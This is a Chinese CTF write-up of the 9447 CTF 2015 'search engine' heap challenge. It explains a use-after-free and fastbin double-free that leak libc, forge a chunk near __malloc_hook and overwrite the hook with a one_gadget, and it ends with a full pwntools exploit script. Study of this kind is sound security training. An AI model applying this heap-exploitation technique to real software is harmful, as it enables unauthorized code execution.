https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2015_9447ctf_search-engine
grxer@Ubuntu16 ~/D/p/heap> checksec search [*] '/home/grxer/Desktop/pwn/heap/search' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
|
这道题静态分析起来挺复杂的,自定义的输入函数,各种阻力,最后配合gdb动态才搞明白
index_sentence()读取用户输入size长度的sentence,他还会用下面的结构把每个句子的单词分开构成一个单链表,单链表的content是从sentence地址上原数据地址,表头在0x6020B8,单链表表头是最后一个单词
00000000 word_struct struc ; (sizeof=0x28, mappedto_6) 00000000 content dq ?单词 00000008 size dd ?单词 0000000C padding1 dd ? 00000010 sentence_ptr dq ?句子 ; offset 00000018 len dd ?整个句子 0000001C padding2 dd ? 00000020 next dq ? ; offset 00000028 word_struct ends
|
这里由于空间复用其实heap manger给我们0x30大小chunk
search_word()读取一个输入长度比较i->size == num && !memcmp(i->content, v1, num)
memset(i->sentence_ptr, 0, i->len); free(i->sentence_ptr); puts("Deleted!");
|
这里找到之前把整个句子都给置零了,也没有free后置null,但是我们的struct地址都还在用,就从这里开始把
unsorted bin泄露libc
smallbin_sentence = 'a' * 0x85 + ' b' index_sentence(smallbin_sentence) search_word(b'b') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') search_word(b'\x00')
|
我们这样会申请到三个堆,一个sentence两个word,‘ b’->‘a’*0x85,我们search(‘b’),释放掉sentence堆,这个时候申请到的chunk大小0x90超过了fastbin,进入unsortbin,unsorted bin是个双向循环列表所以释放chunk的fd和bk会填上,unsortedbin的开始
__由于释放后单链表还存在我们再次search,if ( *i->sentence_ptr )
i->sentence_ptr是sentence chunk的fd指针被填上了unsorted bin绕过__,为了绕过i->size == num && !memcmp(i->content, v1, num)
,第一个我们的size还是1,由于memset(i->sentence_ptr, 0, i->len)会把整个句子置零,搜索0即可绕过,fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
会配合我们输出处bk和fd
unsorted bin地址距离main_arena,main_arena是glibc里的一个全局变量,偏移固定0x3C4B20,所以我们可以得到libc
fastbin循环链表
由于free后没有置零,我们可以doublefree,构成循环链表
index_sentence(b'a' * 0x5e + b' d') index_sentence(b'b' * 0x5e + b' d') index_sentence(b'c' * 0x5e + b' d')
search_word('d') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y')
|
都free后a->b->c->0
io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'n') io.recvuntil('Delete this sentence (y/n)?\n') io.sendline(b'n')
|
再次free,这里的c是过不了if ( *i->sentence_ptr )检测的因为他是第一个释放的chunk,fastbin单链表只使用fd执行单向链接,所以她的fd为0
只需要将b释放这样b->fd指向a,且a的fd指向b,循环链表
字节错位 Arbitrary Alloc and malloc hook
有了循环链表我们就可以伪造或者找一个fakechunk进行申请
有了main_arena地址后,我们想mallochook,malloc__hook在main_arean的上面是0x10字节处,
我们直接用find_fake_fast在上面利用字节错位找到一个chunk
fakechunk偏移为main_arean的上面-0x33
##define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
这里0x7f fastbin_index后为5,0x70的chunk,这里由于fastbin是分组的单链表,只有相同大小的freechunk才会构成单链表,所以我们需要在前面构成循环链表的大小为0x70,即申请0x60,同时我们需要在申请0x60大小申请到这个fakechunk
fastbinsY[] |
x86(size_t=4) |
x64(size_t=8) |
0 |
0x10 |
0x20 |
1 |
0x18 |
0x30 |
2 |
0x20 |
0x40 |
3 |
0x28 |
0x50 |
4 |
0x30 |
0x60 |
5 |
0x38 |
0x70 |
6 |
0x40 |
0x80 |
fakechunk=main_arena-0x33 fake_chunk = p64(fakechunk).ljust(0x60,b'\x00') index_sentence(fake_chunk)
|
这次会申请到b,这样我们可以控制b的fd指针为fakechunk
再申请两次0x60大小chunk就可以申请到fakechunk
fakechunk距离malloc_hook0x23,我们是往fakechunk+0x10写数据,所以需要0x13大小padding
写入onegadget
grxer@grxer ~/Desktop> one_gadget ./libc-2.23.so 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
index_sentence(b'a' * 0x60) index_sentence(b'b' * 0x60) one_gadget_addr = libc + 0xf1247 payload = b'a' * 0x13 + p64(one_gadget_addr) payload = payload.ljust(0x60, b'\x00') index_sentence(payload)
|
拿到shell,跑路喽
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./search' elf = ELF(pwnfile) rop = ROP('/lib/x86_64-linux-gnu/libc.so.6') if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y)) def index_sentence(s): io.recvuntil(b"3: Quit\n") io.sendline(b'2') io.recvuntil(b"Enter the sentence size:\n") io.sendline(str(len(s)).encode()) io.send(s)
def search_word(word): io.recvuntil(b"3: Quit\n") io.sendline(b'1') io.recvuntil(b"Enter the word size:\n") io.sendline(str(len(word)).encode()) io.send(word)
smallbin_sentence = b'a' * 0x85 + b' b' index_sentence(smallbin_sentence) search_word(b'b') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') search_word(b'\x00') io.recvuntil(b'Found 135: ') unsortbin_addr = u64(io.recv(8)) io.recvuntil('Delete this sentence (y/n)?\n') io.sendline('n') main_arena=unsortbin_addr-88 libc=main_arena-0x3C4B20 p('libc',libc) index_sentence(b'a' * 0x5e + b' d') index_sentence(b'b' * 0x5e + b' d') index_sentence(b'c' * 0x5e + b' d')
search_word('d') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y')
search_word(b'\x00') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'y') io.recvuntil(b'Delete this sentence (y/n)?\n') io.sendline(b'n') io.recvuntil('Delete this sentence (y/n)?\n') io.sendline(b'n')
fakechunk=main_arena-0x33 fake_chunk = p64(fakechunk).ljust(0x60,b'\x00') index_sentence(fake_chunk)
index_sentence(b'a' * 0x60) index_sentence(b'b' * 0x60) one_gadget_addr = libc + 0xf1247 payload = b'a' * 0x13 + p64(one_gadget_addr) payload = payload.ljust(0x60, b'\x00') index_sentence(payload) io.interactive()
|